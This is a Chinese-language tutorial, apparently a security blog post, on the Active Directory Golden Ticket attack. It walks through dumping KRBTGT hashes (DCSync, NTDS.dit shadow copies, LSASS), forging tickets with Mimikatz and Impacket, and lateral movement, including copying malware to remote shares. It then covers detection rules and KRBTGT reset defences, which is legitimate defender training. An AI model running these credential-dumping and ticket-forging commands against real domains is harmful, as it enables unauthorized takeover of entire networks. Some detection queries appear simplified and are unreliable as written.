前言
Golden Ticket 攻擊是 Active Directory 環境中最具威脅性的持久化攻擊技術之一。攻擊者一旦取得 KRBTGT 帳戶的密碼雜湊,即可偽造任意使用者的 Kerberos 票據授權票據 (Ticket Granting Ticket, TGT),進而獲得網域內任何資源的存取權限。
本文將深入探討 Golden Ticket 攻擊的原理、實作方式、偵測方法與防禦措施,協助資安人員理解此攻擊技術並建立有效的防護機制。
1. Golden Ticket 攻擊原理
1.1 什麼是 Golden Ticket
Golden Ticket 是一種偽造的 Kerberos TGT 票據。在正常的 Kerberos 認證流程中,使用者向 Key Distribution Center (KDC) 提供憑證後,KDC 會使用 KRBTGT 帳戶的密碼雜湊加密並簽發 TGT。持有有效 TGT 的使用者可向 KDC 請求 Service Ticket 以存取各項服務。
攻擊者若取得 KRBTGT 帳戶的密碼雜湊 (NTLM Hash 或 AES Key),便能繞過 KDC 自行偽造 TGT,並在票據中指定任意身分與權限,包括 Domain Admins 群組成員資格。
1.2 Kerberos 認證流程
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
| ┌─────────┐ ┌─────────┐ ┌─────────┐
│ Client │ │ KDC │ │ Service │
└────┬────┘ └────┬────┘ └────┬────┘
│ │ │
│ AS-REQ (認證請求) │ │
│ ──────────────────>│ │
│ │ │
│ AS-REP (TGT) │ │
│ <──────────────────│ │
│ │ │
│ TGS-REQ (服務請求) │ │
│ ──────────────────>│ │
│ │ │
│ TGS-REP (ST) │ │
│ <──────────────────│ │
│ │ │
│ AP-REQ (存取服務) │
│ ────────────────────────────────────────>│
│ │
│ AP-REP (存取允許) │
│ <────────────────────────────────────────│
|
1.3 攻擊的優勢與特性
Golden Ticket 攻擊具有以下特性:
| 特性 | 說明 |
|---|
| 長期持久性 | 預設有效期限可設定長達 10 年 |
| 離線製作 | 不需連線至 DC 即可偽造票據 |
| 任意身分偽造 | 可冒充任何使用者,包括不存在的帳戶 |
| 跨網域攻擊 | 可利用 Trust Key 進行跨網域攻擊 |
| 難以偵測 | 票據看起來與合法票據幾乎相同 |
2. Kerberos TGT 票據結構
2.1 TGT 票據組成
TGT 票據主要由以下部分組成:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
| TGT 結構
├── Ticket
│ ├── tkt-vno (票據版本)
│ ├── realm (網域名稱)
│ ├── sname (服務名稱: krbtgt/REALM)
│ └── enc-part (加密部分,使用 KRBTGT 密鑰加密)
│ ├── EncTicketPart
│ │ ├── flags (票據標記)
│ │ ├── key (Session Key)
│ │ ├── crealm (Client Realm)
│ │ ├── cname (Client Name)
│ │ ├── transited (轉發資訊)
│ │ ├── authtime (認證時間)
│ │ ├── starttime (開始時間)
│ │ ├── endtime (結束時間)
│ │ ├── renew-till (更新期限)
│ │ └── authorization-data (授權資料/PAC)
└── Client Part
├── Session Key
└── Ticket Info
|
2.2 PAC (Privilege Attribute Certificate)
PAC 是 Microsoft 對 Kerberos 的擴展,包含使用者的安全識別碼 (SID) 與群組成員資格:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
| PAC 結構
├── KERB_VALIDATION_INFO
│ ├── UserId (使用者 RID)
│ ├── PrimaryGroupId (主要群組 RID)
│ ├── GroupIds[] (群組成員資格)
│ │ ├── 512 (Domain Admins)
│ │ ├── 513 (Domain Users)
│ │ ├── 518 (Schema Admins)
│ │ ├── 519 (Enterprise Admins)
│ │ └── 520 (Group Policy Creator Owners)
│ └── ExtraSids[] (額外 SID)
├── PAC_CLIENT_INFO
├── PAC_SIGNATURE_DATA (Server Signature)
└── PAC_SIGNATURE_DATA (KDC Signature)
|
2.3 關鍵 SID 值
在偽造 Golden Ticket 時,常用的群組 SID:
1
2
3
4
5
6
7
8
| SID 群組名稱
────────────────────────────────────────────────────
S-1-5-21-<domain>-500 Administrator
S-1-5-21-<domain>-512 Domain Admins
S-1-5-21-<domain>-516 Domain Controllers
S-1-5-21-<domain>-518 Schema Admins
S-1-5-21-<domain>-519 Enterprise Admins
S-1-5-21-<domain>-520 Group Policy Creator Owners
|
3. KRBTGT 帳戶與雜湊取得
3.1 KRBTGT 帳戶概述
KRBTGT 是 Active Directory 中的特殊服務帳戶,具有以下特性:
- 每個網域都有唯一的 KRBTGT 帳戶
- 帳戶預設為停用狀態,無法用於互動式登入
- 密碼由系統自動生成,長度為 256 個隨機字元
- 密碼變更不會自動傳播,需手動執行
3.2 使用 DCSync 取得 KRBTGT 雜湊
DCSync 是利用 Directory Replication Service (DRS) 協定從 Domain Controller 複製密碼資料的技術。
使用 Mimikatz 執行 DCSync:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
| # 取得 KRBTGT 帳戶雜湊
mimikatz # lsadump::dcsync /domain:corp.local /user:krbtgt
# 輸出範例
[DC] 'corp.local' will be the domain
[DC] 'DC01.corp.local' will be the DC server
[DC] 'krbtgt' will be the user account
Object RDN : krbtgt
SAM Username : krbtgt
Account Type : 30000000 (USER_OBJECT)
User Account Control : 00000202 (ACCOUNTDISABLE NORMAL_ACCOUNT)
Account expiration :
Password last change : 2024/01/15 08:30:45
Object Security ID : S-1-5-21-1234567890-987654321-1122334455-502
Credentials:
Hash NTLM: aad3b435b51404eeaad3b435b51404ee
ntlm- 0: a1b2c3d4e5f6a7b8c9d0e1f2a3b4c5d6
lm - 0: aad3b435b51404eeaad3b435b51404ee
Supplemental Credentials:
* Primary:Kerberos-Newer-Keys *
Default Salt : CORP.LOCALkrbtgt
Default Iterations : 4096
Credentials
aes256_hmac (4096) : 0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef
aes128_hmac (4096) : 0123456789abcdef0123456789abcdef
des_cbc_md5 (4096) : 0123456789abcdef
|
使用 Impacket secretsdump:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
| # 使用帳號密碼
secretsdump.py 'corp.local/admin:Password123@dc01.corp.local' -just-dc-user krbtgt
# 使用 NTLM Hash (Pass-the-Hash)
secretsdump.py 'corp.local/admin@dc01.corp.local' -hashes :ntlmhash -just-dc-user krbtgt
# 輸出範例
Impacket v0.11.0 - Copyright 2023 Fortra
[*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)
[*] Using the DRSUAPI method to get NTDS.DIT secrets
krbtgt:502:aad3b435b51404eeaad3b435b51404ee:a1b2c3d4e5f6a7b8c9d0e1f2a3b4c5d6:::
[*] Kerberos keys grabbed
krbtgt:aes256-cts-hmac-sha1-96:0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef
krbtgt:aes128-cts-hmac-sha1-96:0123456789abcdef0123456789abcdef
krbtgt:des-cbc-md5:0123456789abcdef
|
3.3 其他取得方式
從 NTDS.dit 離線提取:
1
2
3
4
5
6
7
| # 1. 使用 VSS 複製 NTDS.dit
vssadmin create shadow /for=C:
copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\NTDS\NTDS.dit C:\temp\NTDS.dit
copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\System32\config\SYSTEM C:\temp\SYSTEM
# 2. 使用 secretsdump 離線解析
secretsdump.py -ntds NTDS.dit -system SYSTEM LOCAL -just-dc-user krbtgt
|
使用 LSASS 記憶體提取 (需 DC 存取權):
1
2
3
| # Mimikatz 從 LSASS 提取
mimikatz # privilege::debug
mimikatz # lsadump::lsa /inject /name:krbtgt
|
4. 使用 Mimikatz 製作 Golden Ticket
4.1 收集必要資訊
製作 Golden Ticket 需要以下資訊:
| 參數 | 說明 | 取得方式 |
|---|
| /domain | 完整網域名稱 | echo %USERDNSDOMAIN% |
| /sid | 網域 SID | whoami /user 或 Get-ADDomain |
| /krbtgt | KRBTGT NTLM Hash | DCSync |
| /user | 偽造的使用者名稱 | 任意指定 |
| /id | 使用者 RID | 通常使用 500 (Administrator) |
取得網域 SID:
1
2
3
4
5
6
7
| # PowerShell
(Get-ADDomain).DomainSID
# 或使用 whoami
whoami /user
# 輸出: corp\user S-1-5-21-1234567890-987654321-1122334455-1001
# 網域 SID: S-1-5-21-1234567890-987654321-1122334455
|
4.2 基本 Golden Ticket 製作
1
2
3
4
5
6
7
8
9
10
| # 使用 NTLM Hash
mimikatz # kerberos::golden /domain:corp.local /sid:S-1-5-21-1234567890-987654321-1122334455 /krbtgt:a1b2c3d4e5f6a7b8c9d0e1f2a3b4c5d6 /user:fakeadmin /id:500 /ptt
# 參數說明:
# /domain : 目標網域 FQDN
# /sid : 網域 SID
# /krbtgt : KRBTGT NTLM Hash
# /user : 偽造的使用者名稱
# /id : 使用者 RID (500=Administrator)
# /ptt : Pass-the-Ticket,直接注入當前 session
|
4.3 使用 AES 金鑰 (較難被偵測)
1
2
3
4
5
| # 使用 AES256 金鑰
mimikatz # kerberos::golden /domain:corp.local /sid:S-1-5-21-1234567890-987654321-1122334455 /aes256:0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef /user:fakeadmin /id:500 /ptt
# 使用 AES128 金鑰
mimikatz # kerberos::golden /domain:corp.local /sid:S-1-5-21-1234567890-987654321-1122334455 /aes128:0123456789abcdef0123456789abcdef /user:fakeadmin /id:500 /ptt
|
4.4 進階選項
1
2
3
4
5
6
7
8
9
| # 完整參數範例
mimikatz # kerberos::golden /domain:corp.local /sid:S-1-5-21-1234567890-987654321-1122334455 /krbtgt:a1b2c3d4e5f6a7b8c9d0e1f2a3b4c5d6 /user:fakeadmin /id:500 /groups:512,513,518,519,520 /startoffset:-10 /endin:600 /renewmax:10080 /ticket:golden.kirbi
# 進階參數說明:
# /groups : 群組 RID 列表 (預設包含多個高權限群組)
# /startoffset: 票據開始時間偏移 (分鐘,負值=過去)
# /endin : 票據有效時間 (分鐘,預設 10 年)
# /renewmax : 票據更新期限 (分鐘)
# /ticket : 輸出票據檔案,不自動注入
|
4.5 注入與使用票據
1
2
3
4
5
6
7
8
9
10
11
| # 查看當前票據
mimikatz # kerberos::list
# 清除當前票據
mimikatz # kerberos::purge
# 從檔案注入票據
mimikatz # kerberos::ptt golden.kirbi
# 驗證票據
klist
|
5. 使用 Impacket 製作 Golden Ticket
5.1 使用 ticketer.py
Impacket 套件中的 ticketer.py 工具可在 Linux 環境中製作 Golden Ticket:
1
2
3
4
5
6
7
8
9
10
11
| # 基本用法 - 使用 NTLM Hash
ticketer.py -nthash a1b2c3d4e5f6a7b8c9d0e1f2a3b4c5d6 \
-domain-sid S-1-5-21-1234567890-987654321-1122334455 \
-domain corp.local \
fakeadmin
# 使用 AES256 金鑰
ticketer.py -aesKey 0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef \
-domain-sid S-1-5-21-1234567890-987654321-1122334455 \
-domain corp.local \
fakeadmin
|
5.2 進階選項
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
| # 指定使用者 ID 與群組
ticketer.py -nthash a1b2c3d4e5f6a7b8c9d0e1f2a3b4c5d6 \
-domain-sid S-1-5-21-1234567890-987654321-1122334455 \
-domain corp.local \
-user-id 500 \
-groups 512,513,518,519,520 \
fakeadmin
# 指定票據有效期
ticketer.py -nthash a1b2c3d4e5f6a7b8c9d0e1f2a3b4c5d6 \
-domain-sid S-1-5-21-1234567890-987654321-1122334455 \
-domain corp.local \
-duration 3650 \
fakeadmin
# 輸出範例
Impacket v0.11.0 - Copyright 2023 Fortra
[*] Creating basic skeleton ticket and target host info
[*] Customizing ticket for corp.local/fakeadmin
[*] PAC_LOGON_INFO
[*] PAC_CLIENT_INFO_TYPE
[*] EncTicketPart
[*] EncAsRepPart
[*] Signing/Encrypting final ticket
[*] PAC_SERVER_CHECKSUM
[*] PAC_PRIVSVR_CHECKSUM
[*] EncTicketPart
[*] EncASRepPart
[*] Saving ticket in fakeadmin.ccache
|
5.3 使用 Golden Ticket
1
2
3
4
5
6
7
8
9
10
11
12
13
14
| # 設定 Kerberos 票據環境變數
export KRB5CCNAME=/path/to/fakeadmin.ccache
# 使用票據執行 PSExec
psexec.py -k -no-pass corp.local/fakeadmin@dc01.corp.local
# 使用票據執行 WMIExec
wmiexec.py -k -no-pass corp.local/fakeadmin@dc01.corp.local
# 使用票據執行 SMBExec
smbexec.py -k -no-pass corp.local/fakeadmin@dc01.corp.local
# 使用票據進行 DCSync
secretsdump.py -k -no-pass corp.local/fakeadmin@dc01.corp.local
|
5.4 票據格式轉換
1
2
3
4
5
| # 將 kirbi 轉換為 ccache (Mimikatz -> Linux)
ticketConverter.py golden.kirbi golden.ccache
# 將 ccache 轉換為 kirbi (Linux -> Mimikatz)
ticketConverter.py golden.ccache golden.kirbi
|
6. 攻擊持久化與橫向移動
6.1 持久化存取
Golden Ticket 提供極長期的持久化存取能力:
1
2
| # 製作長期有效的 Golden Ticket (10 年)
mimikatz # kerberos::golden /domain:corp.local /sid:S-1-5-21-1234567890-987654321-1122334455 /krbtgt:a1b2c3d4e5f6a7b8c9d0e1f2a3b4c5d6 /user:persistence /id:500 /endin:5256000 /renewmax:5256000 /ticket:persistence.kirbi
|
持久化特性:
- 即使目標帳戶密碼變更,票據仍然有效
- 即使目標帳戶被停用或刪除,票據仍然有效
- 只有重設 KRBTGT 密碼兩次才能使票據失效
6.2 橫向移動
遠端命令執行:
1
2
3
4
5
6
7
8
9
| # 注入票據後存取遠端主機
dir \\fileserver01\c$
copy malware.exe \\fileserver01\c$\windows\temp\
# 使用 PsExec
PsExec.exe \\fileserver01 cmd.exe
# 使用 WMI
wmic /node:fileserver01 process call create "cmd.exe /c whoami > c:\temp\output.txt"
|
PowerShell Remoting:
1
2
3
4
5
6
7
8
9
| # 建立遠端 Session
Enter-PSSession -ComputerName dc01.corp.local
# 執行遠端命令
Invoke-Command -ComputerName dc01,dc02,fileserver01 -ScriptBlock {
Get-Process
Get-Service
whoami /all
}
|
6.3 存取 Domain Controller
1
2
3
4
5
6
7
8
| # 存取 DC 的 SYSVOL
dir \\dc01.corp.local\SYSVOL
# 存取 DC 的 C$ 共享
dir \\dc01.corp.local\c$
# 連接到 DC 執行命令
psexec.exe \\dc01.corp.local cmd.exe
|
6.4 跨網域攻擊 (Cross-Domain Attack)
若存在 Forest Trust,可利用 Golden Ticket 進行跨網域攻擊:
1
2
3
4
5
6
7
| # 取得 Trust Key
mimikatz # lsadump::trust /patch
# 製作跨網域 Golden Ticket
mimikatz # kerberos::golden /domain:child.corp.local /sid:S-1-5-21-CHILD-DOMAIN-SID /krbtgt:CHILD-KRBTGT-HASH /user:fakeadmin /id:500 /sids:S-1-5-21-PARENT-DOMAIN-SID-519 /ptt
# /sids 參數加入父網域的 Enterprise Admins SID
|
7. 偵測方法與日誌分析
7.1 Windows 事件日誌
關鍵事件 ID:
| 事件 ID | 說明 | 偵測重點 |
|---|
| 4768 | TGT 請求 (AS-REQ) | Golden Ticket 繞過此步驟 |
| 4769 | Service Ticket 請求 (TGS-REQ) | 異常的 TGS 請求來源 |
| 4770 | TGT 更新 | 超長效期的更新請求 |
| 4771 | Kerberos 預認證失敗 | Golden Ticket 無此事件 |
| 4624 | 登入成功 | 異常的登入來源與帳戶 |
7.2 偵測指標
Event ID 4769 分析:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
| <!-- 正常 TGS 請求 -->
<Event>
<EventData>
<Data Name="TargetUserName">user@CORP.LOCAL</Data>
<Data Name="ServiceName">cifs/fileserver01</Data>
<Data Name="TicketEncryptionType">0x12</Data> <!-- AES256 -->
<Data Name="IpAddress">::ffff:192.168.1.100</Data>
</EventData>
</Event>
<!-- 可疑 TGS 請求 (Golden Ticket) -->
<Event>
<EventData>
<Data Name="TargetUserName">fakeadmin@CORP.LOCAL</Data> <!-- 不存在的使用者 -->
<Data Name="ServiceName">krbtgt/CORP.LOCAL</Data>
<Data Name="TicketEncryptionType">0x17</Data> <!-- RC4,可能為舊版攻擊工具 -->
<Data Name="IpAddress">::ffff:192.168.1.50</Data> <!-- 異常來源 -->
</EventData>
</Event>
|
偵測特徵:
1
2
3
4
5
6
7
8
| Golden Ticket 偵測指標
├── 缺少對應的 Event ID 4768 (TGT 請求)
├── TGS 請求的使用者不存在於 AD 中
├── 票據有效期異常長 (超過網域原則)
├── 使用 RC4 加密 (0x17) 而非 AES (0x12/0x11)
├── 請求來源 IP 與使用者平常登入位置不符
├── 票據中的群組成員資格與 AD 記錄不符
└── 短時間內對多個服務發送 TGS 請求
|
7.3 進階偵測技術
使用 Sigma 規則:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
| title: Golden Ticket Attack Detection
status: experimental
description: Detects potential Golden Ticket attack indicators
logsource:
product: windows
service: security
detection:
selection:
EventID: 4769
filter_encryption:
TicketEncryptionType: '0x17' # RC4
filter_service:
ServiceName|endswith: '$'
condition: selection and (filter_encryption or not filter_service)
level: high
|
PowerShell 偵測腳本:
1
2
3
4
5
6
7
8
9
10
11
12
| # 搜尋可疑的 TGS 請求
Get-WinEvent -FilterHashtable @{
LogName = 'Security'
ID = 4769
StartTime = (Get-Date).AddHours(-24)
} | Where-Object {
$_.Properties[5].Value -eq '0x17' # RC4 加密
} | Select-Object TimeCreated,
@{N='User';E={$_.Properties[0].Value}},
@{N='Service';E={$_.Properties[2].Value}},
@{N='Encryption';E={$_.Properties[5].Value}},
@{N='IP';E={$_.Properties[6].Value}}
|
7.4 SIEM 偵測規則
Splunk 搜尋範例:
1
2
3
4
5
| index=windows EventCode=4769
| eval has_4768=if(isnotnull(mvfind('EventCode', "4768")), 1, 0)
| where TicketEncryptionType="0x17" OR has_4768=0
| stats count by TargetUserName, ServiceName, IpAddress, TicketEncryptionType
| where count > 5
|
Elastic SIEM 規則:
1
2
3
4
5
6
7
8
9
10
11
12
13
| {
"query": {
"bool": {
"must": [
{ "match": { "event.code": "4769" } },
{ "match": { "winlog.event_data.TicketEncryptionType": "0x17" } }
],
"must_not": [
{ "exists": { "field": "related.4768_event" } }
]
}
}
}
|
8. 防禦措施與 KRBTGT 重設
8.1 預防措施
1. 保護 Domain Controller:
1
2
3
4
5
6
7
| # 限制 DCSync 權限 - 檢查具有複製權限的帳戶
Import-Module ActiveDirectory
$domainDN = (Get-ADDomain).DistinguishedName
Get-ACL "AD:\$domainDN" | Select-Object -ExpandProperty Access |
Where-Object {$_.ObjectType -eq "1131f6aa-9c07-11d1-f79f-00c04fc2dcd2" -or
$_.ObjectType -eq "1131f6ad-9c07-11d1-f79f-00c04fc2dcd2"} |
Select-Object IdentityReference, ActiveDirectoryRights
|
2. 強化 KRBTGT 帳戶:
1
2
3
4
5
6
7
| # 確認 KRBTGT 密碼上次變更時間
Get-ADUser krbtgt -Properties PasswordLastSet |
Select-Object Name, PasswordLastSet
# 檢查 KRBTGT 帳戶狀態
Get-ADUser krbtgt -Properties * |
Select-Object Name, Enabled, PasswordLastSet, whenChanged
|
3. 啟用進階稽核:
1
2
3
4
5
6
7
| # 啟用 Kerberos 稽核
auditpol /set /subcategory:"Kerberos Authentication Service" /success:enable /failure:enable
auditpol /set /subcategory:"Kerberos Service Ticket Operations" /success:enable /failure:enable
# 驗證稽核設定
auditpol /get /subcategory:"Kerberos Authentication Service"
auditpol /get /subcategory:"Kerberos Service Ticket Operations"
|
8.2 KRBTGT 密碼重設
重設 KRBTGT 密碼是使所有 Golden Ticket 失效的唯一方法。由於 AD 保留前一個密碼,需要重設兩次才能完全使舊票據失效。
重設程序:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
| # 第一次重設
Set-ADAccountPassword -Identity krbtgt -Reset -NewPassword (ConvertTo-SecureString -AsPlainText "ComplexP@ssw0rd1!" -Force)
# 等待複寫完成 (建議等待至少 10 小時,或完整複寫週期)
repadmin /syncall /AdeP
# 確認所有 DC 已複寫
Get-ADDomainController -Filter * | ForEach-Object {
Get-ADUser krbtgt -Server $_.HostName -Properties PasswordLastSet |
Select-Object @{N='DC';E={$_.HostName}}, PasswordLastSet
}
# 第二次重設 (等待複寫後)
Set-ADAccountPassword -Identity krbtgt -Reset -NewPassword (ConvertTo-SecureString -AsPlainText "ComplexP@ssw0rd2!" -Force)
|
使用 Microsoft 官方腳本:
Microsoft 提供了專門的 KRBTGT 重設腳本,可從以下位置取得:
1
2
3
4
5
6
7
| # 下載並執行官方腳本
# https://github.com/microsoft/New-KrsPasswordReset
# 腳本功能:
# - 自動檢查複寫狀態
# - 評估重設影響
# - 執行安全的雙重重設
|
8.3 重設注意事項
重設前檢查清單:
1
2
3
4
5
6
| □ 確認所有 DC 運作正常
□ 確認 AD 複寫運作正常
□ 通知所有系統管理員
□ 準備回復計畫
□ 在維護時段執行
□ 記錄重設時間點
|
重設影響:
| 影響項目 | 說明 | 處理方式 |
|---|
| 現有 TGT | 第二次重設後失效 | 使用者重新登入 |
| 服務帳戶 | 可能需要重新認證 | 重啟相關服務 |
| Scheduled Tasks | 使用 Kerberos 的排程工作 | 驗證工作執行 |
| 跨網域信任 | 可能需要重建 | 驗證信任關係 |
8.4 長期防護策略
1. 定期輪換 KRBTGT 密碼:
1
2
| # 建立排程每 180 天重設 KRBTGT
# 注意:需在複寫完成後再執行第二次重設
|
2. 實施最小權限原則:
1
2
3
4
5
| # 限制 Domain Admins 群組成員
Get-ADGroupMember "Domain Admins" | Select-Object Name, SamAccountName
# 使用 Protected Users 群組
Add-ADGroupMember -Identity "Protected Users" -Members sensitive_admin
|
3. 部署 Credential Guard:
1
2
3
4
5
6
7
| # 確認 Credential Guard 狀態
Get-CimInstance -ClassName Win32_DeviceGuard -Namespace root\Microsoft\Windows\DeviceGuard
# 啟用 Credential Guard (需要 Windows 10/Server 2016+)
# 透過 Group Policy:
# Computer Configuration > Administrative Templates > System > Device Guard >
# Turn On Virtualization Based Security
|
4. 實施網路分段:
1
2
3
4
5
6
7
| 建議網路架構
├── Tier 0 (Domain Controllers)
│ └── 嚴格限制存取,僅允許 PAW
├── Tier 1 (Member Servers)
│ └── 限制管理存取
└── Tier 2 (Workstations)
└── 一般使用者存取
|
結論
Golden Ticket 攻擊是 Active Directory 環境中最危險的持久化技術之一。攻擊者只需取得 KRBTGT 帳戶的密碼雜湊,就能偽造任意身分的 TGT,並長期保持對整個網域的完全控制。
關鍵要點:
- 預防勝於偵測:保護好 Domain Controller 和具有 DCSync 權限的帳戶
- 多層防禦:實施 Credential Guard、Protected Users、網路分段等多層防護
- 持續監控:建立 Kerberos 事件的基準線,監控異常行為
- 定期重設:制定 KRBTGT 密碼輪換政策,定期執行雙重重設
- 事件回應:發現入侵跡象時,立即執行 KRBTGT 雙重重設
透過理解 Golden Ticket 攻擊的原理與偵測方法,資安團隊可以建立更完善的防禦體系,保護組織的 Active Directory 基礎架構免受此類高階攻擊威脅。
參考資源